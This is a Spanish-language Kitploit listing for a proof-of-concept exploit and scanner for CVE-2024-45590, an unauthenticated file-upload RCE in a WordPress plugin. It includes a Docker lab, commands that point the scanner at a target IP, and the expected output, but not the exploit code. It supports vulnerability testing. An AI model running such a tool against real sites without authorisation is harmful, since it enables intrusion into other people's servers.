CVE-2024-45590-PoC — Exploit de prueba de concepto para CVE-2024-45590, que demuestra ejecución remota de código no autenticada en un plugin de WordPress mediante carga arbitraria de archivos. Incluye entorno vulnerable basado en Docker y escáner automatizado. | Kitploit

Compartir

CVE-2024-45590 - PoC de RCE en Plugin de WordPress

Detalles de la Vulnerabilidad

CVE: CVE-2024-45590
CVSS: 9.8 (Crítico)
Tipo: RCE no autenticado mediante subida arbitraria de archivos
Afecta: Plugin de WordPress

Prueba de Concepto

Demuestra la explotación segura de RCE con dos comandos:

id - Prueba de ejecución de comandos
ping - Prueba segura de conectividad de red

Configuración y Ejecución

# Build and start environment
docker-compose up --build -d

# Wait for initialization
sleep 30

# Run PoC
docker-compose run --rm scanner --target 192.168.1.100

# Check results
cat results/result.json

Resultado Esperado

[{"ip": "192.168.1.100", "vuln": true}]

Estructura del Proyecto

CVE-2024-45590/
├── docker-compose.yml
├── Dockerfile
├── README.md
├── src/scanner.py          # Main PoC
├── vulnerable/             # Vulnerable WordPress
└── results/result.json     # Scan output

Descargar herramienta